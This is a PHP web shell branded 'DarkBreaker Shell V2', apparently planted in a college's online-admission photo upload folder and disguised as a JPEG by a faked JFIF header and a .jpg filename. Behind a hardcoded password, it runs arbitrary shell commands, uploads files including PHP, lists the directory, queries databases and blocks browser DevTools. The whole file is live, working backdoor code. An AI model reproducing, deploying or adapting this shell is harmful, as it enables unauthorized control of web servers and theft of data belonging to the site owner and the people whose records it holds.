1#@!#!123s

��JFIF�� 1#@!#!123s
: / home / gceburdwan / public_html / Online_Admission / Photo /
Filename : 02-06-2025-1748886122.jpg
back
<?php
session_start();

// ===== CONFIG =====
$password = "aji123"; // Ganti password lo di sini

// LOGIN LOGIC
if (isset($_GET['logout'])) {
    session_destroy();
    header("Location: " . strtok($_SERVER["REQUEST_URI"], '?'));
    exit;
}
if (!isset($_SESSION['auth'])) {
    if (isset($_POST['key'])) {
        if ($_POST['key'] === $password) {
            $_SESSION['auth'] = true;
            header("Location: " . strtok($_SERVER["REQUEST_URI"], '?'));
            exit;
        } else {
            $error = "Password salah bre!";
        }
    }
} 

// AUTH CHECK
if (!isset($_SESSION['auth'])) {
    ?>
    <!DOCTYPE html>
    <html><head><title>Login DarkBreaker</title></head><body style="background:#111;color:#0f0;font-family:monospace;">
        <h2>🔥 DarkBreaker Panel Login 🔥</h2>
        <?php if(isset($error)) echo "<p style='color:red;'>$error</p>"; ?>
        <form method="POST">
            <input type="password" name="key" placeholder="Password" required autofocus>
            <button type="submit">Login</button>
        </form>
    </body></html>
    <?php
    exit;
}

// ===== EXEC FUNCTION =====
function execute($cmd) {
    $output = '';
    if (function_exists('shell_exec')) $output = shell_exec($cmd);
    elseif (function_exists('system')) {
        ob_start(); system($cmd); $output = ob_get_clean();
    } elseif (function_exists('exec')) {
        exec($cmd, $out); $output = implode("\n", $out);
    }
    return $output;
}

// ===== FILE BROWSER =====
$cwd = getcwd();
$scan = scandir($cwd);
$files = array_diff($scan, ['.', '..']);

// ===== FILE UPLOAD HANDLER =====
$uploadMsg = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['form_type']) && $_POST['form_type'] === 'upload') {
    if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
        $allowedExt = ['jpg','jpeg','png','gif','txt','log','csv','pdf','zip','rar','tar','gz','php','html','js','css'];
        $fileName = $_FILES['file']['name'];
        $ext = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));
        if (!in_array($ext, $allowedExt)) {
            $uploadMsg = "<span style='color:red;'>File extension .$ext gak diijinin, goblok!</span>";
        } else {
            $newName = uniqid('upl_') . '.' . $ext;
            if (move_uploaded_file($_FILES['file']['tmp_name'], $newName)) {
                $uploadMsg = "<span style='color:lime;'>Upload berhasil: $newName</span>";
            } else {
                $uploadMsg = "<span style='color:red;'>Upload gagal, coba lagi!</span>";
            }
        }
    } else {
        $uploadMsg = "<span style='color:red;'>File gak ketangkep bro!</span>";
    }
}

// ===== COMMAND EXECUTION =====
$cmdOutput = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['form_type']) && $_POST['form_type'] === 'cmd') {
    if (!empty($_POST['cmd'])) {
        $cmd = $_POST['cmd'];
        $cmdOutput = execute($cmd);
    }
}

// ===== ENCODE TOOLS =====
$encodeOutput = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['form_type']) && $_POST['form_type'] === 'encode') {
    $text = $_POST['encode'] ?? '';
    $mode = $_POST['mode'] ?? '';
    if ($text !== '') {
        if ($mode == 'base64') $encodeOutput = base64_encode($text);
        elseif ($mode == 'md5') $encodeOutput = md5($text);
        elseif ($mode == 'sha1') $encodeOutput = sha1($text);
    }
}

// ===== DB CONNECTOR =====
$dbResult = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['form_type']) && $_POST['form_type'] === 'db') {
    $host = $_POST['host'] ?? '';
    $user = $_POST['user'] ?? '';
    $pass = $_POST['pass'] ?? '';
    $db = $_POST['db'] ?? '';
    $query = $_POST['query'] ?? '';
    // Batasi cuma SELECT doang
    if (stripos(trim($query), 'select') === 0) {
        $mysqli = @new mysqli($host, $user, $pass, $db);
        if ($mysqli->connect_error) {
            $dbResult = "<span style='color:red;'>Error: " . htmlspecialchars($mysqli->connect_error) . "</span>";
        } else {
            $res = $mysqli->query($query);
            if (is_object($res)) {
                $rows = [];
                while ($row = $res->fetch_assoc()) $rows[] = $row;
                $dbResult = "<pre>" . htmlspecialchars(print_r($rows, true)) . "</pre>";
            } else $dbResult = "<span style='color:lime;'>OK: " . htmlspecialchars($res) . "</span>";
            $mysqli->close();
        }
    } else {
        $dbResult = "<span style='color:red;'>Hanya query SELECT yang diizinkan!</span>";
    }
}

?>

<!DOCTYPE html>
<html>
<head>
    <title>DarkBreaker Shell V2</title>
    <style>
        body {
            background: #111;
            color: #0f0;
            font-family: monospace;
            padding: 10px;
        }
        .light { background: #f4f4f4; color: #222; }
        input, button, select, textarea {
            background: #222; color: #0f0;
            border: 1px solid #0f0; padding: 5px; margin: 5px 0;
            font-family: monospace;
        }
        .light input, .light button, .light select, .light textarea {
            background: #fff; color: #000; border-color: #444;
        }
        pre { white-space: pre-wrap; word-break: break-word; }
        .logout {
            background: #900;
            color: #fff;
            border: none;
            padding: 5px 10px;
            float: right;
            cursor: pointer;
        }
        h2 {
            margin-top: 0;
        }
    </style>
    <script>
        document.onkeydown = function(e) {
            if (e.key == "F12" || (e.ctrlKey && e.shiftKey && e.key.toLowerCase() == "i")) {
                alert("🛑 DevTools Diblokir!");
                return false;
            }
        };
        function toggleTheme() {
            document.body.classList.toggle('light');
        }
    </script>
</head>
<body>
    <button class="logout" onclick="location.href='?logout=1'">Logout</button>
    <h2>🔥 DarkBreaker Panel V2 🔥</h2>
    <p><b>Dir:</b> <?= htmlspecialchars($cwd) ?></p>

    <!-- Command Execution -->
    <form method="POST">
        <input type="hidden" name="form_type" value="cmd">
        <input type="text" name="cmd" style="width:80%" placeholder="whoami or ls -la" autocomplete="off">
        <button type="submit">Execute</button>
    </form>
    <?php if ($cmdOutput !== ''): ?>
        <pre><?= htmlspecialchars($cmdOutput) ?></pre>
    <?php endif; ?>

    <!-- File Upload -->
    <form method="POST" enctype="multipart/form-data">
        <input type="hidden" name="form_type" value="upload">
        <input type="file" name="file" required>
        <button type="submit">Upload</button>
    </form>
    <?= $uploadMsg ?>

    <!-- File List -->
    <h3>📁 File List</h3>
    <ul>
        <?php foreach ($files as $f): ?>
            <li><?= htmlspecialchars($f) ?></li>
        <?php endforeach; ?>
    </ul>

    <!-- Encode Tools -->
    <h3>🧪 Tools</h3>
    <form method="POST">
        <input type="hidden" name="form_type" value="encode">
        <input type="text" name="encode" placeholder="Text to encode" autocomplete="off" required>
        <select name="mode">
            <option value="base64">Base64</option>
            <option value="md5">MD5</option>
            <option value="sha1">SHA1</option>
        </select>
        <button type="submit">Encode</button>
    </form>
    <?php if ($encodeOutput !== ''): ?>
        <pre><?= htmlspecialchars($encodeOutput) ?></pre>
    <?php endif; ?>

    <!-- DB CONNECT -->
    <h3>🛢️ SQL Connector</h3>
    <form method="POST">
        <input type="hidden" name="form_type" value="db">
        <input name="host" placeholder="localhost" autocomplete="off" required>
        <input name="user" placeholder="root" autocomplete="off" required>
        <input name="pass" placeholder="password" autocomplete="off" type="password">
        <input name="db" placeholder="database" autocomplete="off" required>
        <textarea name="query" placeholder="SELECT * FROM users" required></textarea>
        <button type="submit">Run</button>
    </form>
    <?= $dbResult ?>

    <!-- Theme Toggle -->
    <button onclick="toggleTheme()">🌓 Ganti Tema</button>
</body>
</html>